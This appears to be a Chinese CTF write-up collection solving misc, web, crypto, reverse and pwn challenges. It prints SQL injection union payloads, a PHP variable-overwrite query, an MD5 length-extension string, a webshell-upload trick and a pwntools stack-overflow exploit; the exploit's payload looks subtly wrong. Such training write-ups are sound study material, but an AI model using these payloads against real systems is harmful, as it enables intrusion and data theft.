目录
misc
1、看不见的字符
2、奇怪的符号
3、Ezpcap
4、垃圾邮件
web
1、easygame
2、babyphp
3、babyupload
4、easyphp
5、babysql
crypto
1、欢迎来到密码学
2、凯撒的栅栏
3、base一家
4、图像密码大全
5、怎么能少了我摩斯和维吉尼亚
6、RSA
reverse
1、re1
2、CCC
3、fakerandom
4、p04
5、世界最高のプログラマーです
pwn
1、nc一下!
2、ret2text
零宽字符隐写
直接在线解码链接:http://330k.github.io/misc_tools/unicode_steganography.html
解密原文:VmtaV2IySXhUa2RpUm1oT1ZqTm9jMVJWWkRSTlZuQklZMFZrYkdKVldsbFZNalZQV1ZaYWNXSkdiRlZXVjJoTVdWUktUbVZyTVVWTlJEQTk=
是个base64加密套娃,一直base64解密即可。0xGame{Inv1sible_W0rds}
题目说是海拉德大陆文字,hint:Langue Sheikah
直接搜Langue Sheikah
对应查找解密即可。
发现有http流,直接过滤,发现
得到flag。
得到flag.txt和key.txt,flag.txt为垃圾邮件,我们先看key
颜文字加密
CTF常见编码及加解密(超全) - ruoli-s - 博客园 (cnblogs.com)
解密结果:++++++++[>>++>++++>++++++>++++++++>++++++++++>++++++++++++>++++++++++++++>++++++++++++++++>++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++>++++++++++++++++++++++++>++++++++++++++++++++++++++>++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++<<<<<<<<<<<<<<<<-]>>>>>>+++++.+..>>++++++.<+++++.<<++++++.>>+++++++.>----.<<----.++++++.>>--.<<<+++++++++.>+++++++++.>+.-----.<<++++++.++.>>++++.<<-.---------------.>+++.>+.<<-.<++++++.>+++++++++++++.>>.<<<-----.>+.-------.++++++++.<++++.>-----------.>-----------.>-.--------.++++++.<<++++.-------.-.<--.>>---------.++++.<<---.>---------.;
为brainfuck编码,继续解码:UVVveFlrRXpOamhUWlVGdmF6Sm1TMU5JYldjNGF3PT0=
bese64解码:QUoxYkEzNjhTZUFvazJmS1NIbWc4aw==
base64解码:AJ1bA368SeAok2fKSHmg8k(无奇怪字符,无“=”)推测base58
base58解码:KBADGM3XGBZEI=== base32解码:P@33w0rD(得到key)
接下来我们看看垃圾邮件解密,www.spammimic.com
选择密码解密模式,输入key和密文即可解密。
题目链接,需要以GET方式给Xp0int传参,为ZZU,直接url上加入/?Xp0int=ZZU
又要求给POST形式发送数据Xp0int=ZZUZZU,这里我们用burp抓包
change request method 为POST请求方式
You are not from local要求我们要用本地ip访问,burp直接X-Forwarded-For伪造ip地址
得到flag{Y0ur_pHp_1s_s1xsix6}
";
$flag = 'xxxxxxxx';
$msg_giveme = 'Give me the flag!';
$msg_getout = 'No this. Get out!';
if(!isset($_GET['flag']) && !isset($_POST['flag']))#这里说明不管是POST还是GET都得带有flag
参数
{
exit($msg_giveme);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($msg_getout);
}
#下面代码意义为变量覆盖。
foreach ($_POST as $key => $value)
{
$$key = $value;
}
foreach ($_GET as $key => $value)
{
$$key = $$value;
}
echo 'the flag is : ' . $flag;
?>
Give me the flag!
所以我们这里要绕过前两个if判断,从而执行
echo 'the flag is : ' . $flag;
我们传入?flag=a,即可绕过前两个if判断。且$flag = $a,但a参数无内容,所以我们利用
foreach ($_GET as $key => $value) {
$$key = $$value;
}
传入?a=flag,先将flag的值传给a,$a = $flag,再把a变量内容传回flag
则构造payload:?a=flag&flag=a
对上传文件格式有要求。
在记事本写个一句话木马,改为a.jpg传上去。
那么我们抓包改一下名字。
回显得到flag。flag{w311_D0ne!}
查看源码。
得到源码。
以下为有用信息:
1、secrect也就是密文的长度为10。
2、md5($serect,"admin","admin")的哈希。
3、用户名为admin。
整理下我们知道的数据:
1、secret的长度为10,再加上第一个admin就是15。
2、哈希值为ahash=f7fa8882c893a3f48f3cecdaa2f52102(Input Signature)。
3、data为用户名。
4、add数据为密码但不能为admin。
bf4b72a0f6e1ce5b69a20004082923b6===check
admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00qqqqq将\x替换为%,,为password
1' oeder by 4#(开始报错,说明有三列)
继续1' union select 1,2,3#
直接1' union select 1,2,flag from flag#
flag{Union!_The_First_Step!}
根据题目可以看出,该密码先栅栏加密,再凯撒加密。
kxsqwjziffwt}lh_w{g
然而,按照传统的栅栏密码发现解不出来。。。发现栅栏密码有两种(正常型和W型)
那这里正常型不通,那么试试W型解密。栅栏密码加密/解密【W型】 - 一个工具箱 - 好用的在线工具都在这里! (atoolbox.net)
kqfl{hfwxjw_gwtzsi}解密后的结果,栏数为5。接着凯撒解码,直接CTFcracktools
flag{carser_bround}
R1kzRE1ZWldHRTNET04zQ0dZWkRNTUpYR00zREtNWldHTTJES1pSV0dJM0RDTlpUR1kyVEdNWlRHSTJXTU5SU0dZWVRPTVpXR1VaVENNWldHNVNBPT09PQ==(base64)
GY3DMYZWGE3DON3CGYZDMMJXGM3DKMZWGM2DKZRWGI3DCNZTGY2TGMZTGI2WMNRSGYYTOMZWGUZTCMZWG5SA====(base32) 666c61677b6261736536345f6261736533325f6261736531367d(base16)(部分解密网站只支持大写字母和数字的编码,换一个就好) flag{base64_base32_base16}
1、2、3、4分别对应猪圈密码,古埃及象形文字,外星人密码,和跳舞的小人。CTF中的一些图形密码 - Nuy0ah - 博客园 (cnblogs.com)
别的没什么说的,强调一下第四种,跳舞的小人。
可以看出每个字母,对应两种小人(拿旗/不拿旗)拿旗说明有其旁边有标点,旗子一侧有标点。
O和Z的不拿旗的小人是一样的,因为是最后了,右边是},所以选O
下面字母即为摩斯密码解密结果。KEY is key,加密内容为PPYQ%u7bACVGMWI_KYVQO_ELN_ZGQILOVC%u7d
%u7b,%u7d为一种编码,具体目前不是很清楚。带入解密后PPYQ对应FLAG那么我们猜测%u7b,%u7d分别为{},替换带入(%u7b字母会影响结果)整体解密,得
FLAG{WELCOME_MORSE_AND_VIGENERE}
下面是题目源码。条件很充分,我们只用求出私钥d即可求出明文m(然鹅,发现并非这么简单,hint提示:m>n)
在正常计算中,m=c^d (mod n),m一定是小于n的。那这个m一定不是真正的m。我们称这个m为m1。
事实上,c^d(modn)=m1=m mod n
m = k*n+m1,k具体是何值呢,我们要爆破
#题目源码
from Crypto.Util.number import *
from flag import flag
assert len(flag) == 12
m=bytes_to_long(flag)
p=getPrime(47)
q=getPrime(47)
e=65537
n=p*q
c=pow(m,e,n)
print(f'n={n}\ne={e}\np={p}\nc={c}')
print(m)
# n=12833505850562334375836275439
# e=65537
# p=126501244242767
# c=6714421266374305891138978490
下面我们正常解一下。得到m1
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# author: bug time:2023/7/28
from Crypto.Util.number import *
n = 12833505850562334375836275439
#m1=6031483267629685232852848031(很明显m1
接下来我们自己出个题,来个测试。
#测试题
from Crypto.Util.number import *
import uuid
import gmpy2 as gp
flag="flag{"+str(uuid.uuid4())+"}"
print(len(flag))
m=bytes_to_long(flag.encode())
p=getPrime(160)
q=gp.next_prime(p)
e=65537
n=p*q
c=pow(m,e,n)
print(f'p={p}\nq={q}\ne={e}\nn={n}\nc={c}\n')
print(f'm={m}')
'''
p=1383650342047432505851887355284546924996362705189
q=1383650342047432505851887355284546924996362705317
e=65537
n=1914488269047976969890011723581267048376185374737666370747489469252131214558858223963076553789913
c=665241326109699129175291223255178546868604835009606853206310291652758043650145383869257598358829
m=56006392793407543643975108120140505915066015977745558868872189419660011398826156185917502908985324669
'''
from Crypto.Util.number import *
p=1052843335440994388378906120402177694603271791553
q=1052843335440994388378906120402177694603271791697
e=65537
n=1108479088982518230348741577493966099993435530687651211627749006776557042385918880070437420135441
c=398015521470345569527874111494800756800866693755616037569053553913572047764916535926145607300256
m=56006392793429420449633628222928875807764951017171271119366621897002607463270003398797615323722364285
#1、验证m1=m mod n
phi=(p-1)*(q-1)
d=inverse(e,phi)
m1=pow(c,d,n)
print(m1)
print(m1==m%n)#返回值为true
#2、确定爆破k的范围
m1=486822587686861263460020046238605596620829177693651874603329617062896721451983238764671379207760
k1=(m-m1)//n
k2=(m//n)
print(k1)
print(k2)#初步确定k值为100000以内
print(m//n*n+m1==m)#返回值为true
已知正确m的计算方法和k值爆破范围,我们直接写本道题的exp.py
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# author: bug time:2023/7/28
from Crypto.Util.number import *
import libnum
n = 12833505850562334375836275439
#m1=6031483267629685232852848031
e = 65537
p = 126501244242767
c = 6714421266374305891138978490
q = n//p
phi = (p-1)*(q-1)
d = inverse(e,phi)
m1 = pow(c,d,n)
print(m1)
for k in range(100000):
flag=libnum.n2s(k*n+m1)
if b"flag" in flag:
exit(flag)
'''
6031483267629685232852848031
b'flag{rsa_is}'
'''
拿到.exe拖到ida里直接shift+f12查看字符串,get flag
先放进ida64,F5反编译查看代码。
当if里面的条件为假,即( arr[i] == (char)(Str[i] ^ 0x34) + 900 )时
printf("you are right!");
str即为flag,我们只需或去arr的值并反向异或即可得到。
双击后发现arr内容,但看不懂,选中后面内容shift+E
因为我们之后要减去900,所以输出initialized C variable的内容,会得到ascii编码。
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# author: bug time:2023/7/24
result = [1022,1003,1003,1019,996,1014,979,976,904,970,1007,905,971,1007,971,904,1007,981,985,971,977,973,0,0,0,0,0,0,0,0,0,0]
for i in range(len(result)):
result[i] = result[i] - 900
print(result)
for i in range(len(result)):
print(chr(result[i] ^ 0x34),end = '')
直接上代码。NSSCTF{x0r_1s_s0_easy}
import random
flag = 'xxxxxxxxxxxxxxxxxxxx'
random.seed(1)
l = []
for i in range(4):
l.append(random.getrandbits(8))
result=[]
for i in range(len(l)):
random.seed(l[i])
for n in range(5):
result.append(ord(flag[i*5+n])^random.getrandbits(8))
print(result)
# result = [201, 8, 198, 68, 131, 152, 186, 136, 13, 130, 190, 112, 251, 93, 212, 1, 31, 214, 116, 244]
#####将result替换,result[]^random.getrandbits(8)#####
result = [201, 8, 198, 68, 131, 152, 186, 136, 13, 130, 190, 112, 251, 93, 212, 1, 31, 214, 116, 244]
for i in range(len(l)):
random.seed(l[i])
for n in range(5):
flag += chr(result[i*5+n]^random.getrandbits(8))
print(flag)
NSSCTF{FakeE_random}
hint:upx壳
我们直接对文件upx脱壳
脱壳后再次拖入ida中查看
这里重要讲两点:
1、*((_BYTE *)&v4 + i) : (_BYTE*)&v4把_int64类型的v4并以它为首地址转化为byte类型,此时时指针,然后指针加上i值,最后*变成一个实际值,实际上就是一个字符串数组。
2、v4、v5、直到v10,这一堆。i64,对应着_int64,表示long long类型。我们可以选中,shift+E,将这么一长串数字导出为C unsigned char array (decimal)。方便我们后续异或。
红方框括的不是只有v4吗,为什么说v4、v5到v10?
我们看一下栈中变量结构。从上到下一次对应着v4 - v10。因为i <= 38,当v4查找完后就依次v5,v6....
到这里我们就可以异或得到v11了,即为flag。
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# author: bug time:2023/7/24
result = [76, 81, 81, 65, 86, 68, 121, 87, 82, 90, 93, 51, 113, 93, 122, 109, 112, 102, 93, 117, 99, 123, 93, 118, 109, 93, 103, 108, 97, 112, 123, 114, 118, 93, 100, 110, 99, 101, 127]
for i in range(len(result)):
print(chr(result[i] ^ 2),end='')
NSSCTF{UPX_1s_xord_way_to_encrypt_flag}
这个没什么可说的。。。
LitCTF{I_am_the_best_programmer_ever}
nc 43.143.231.4 10101
浏览发现栈溢出漏洞。再查看字符串,发现
那么现在,我们只需利用栈溢出漏洞执行system("/bin/sh;")即可。
调试测得偏移量0x20。别的不多说,上exp。
from pwn import *
p = process('./main')
#p = remote('43.143.231.4',10102)
context.log_level = 'debug'
context.arch = 'amd64'
pop_rdi = 0x004012ab
binsh = 0x00402011
system = 0x00401040
payload ='a'*(0x20+0x8)+p64(pop_rdi)+p64(system)
p.sendlineafter("Welcome 0xGame,Leave U2 Name?",payload)
p.interactive()
~
~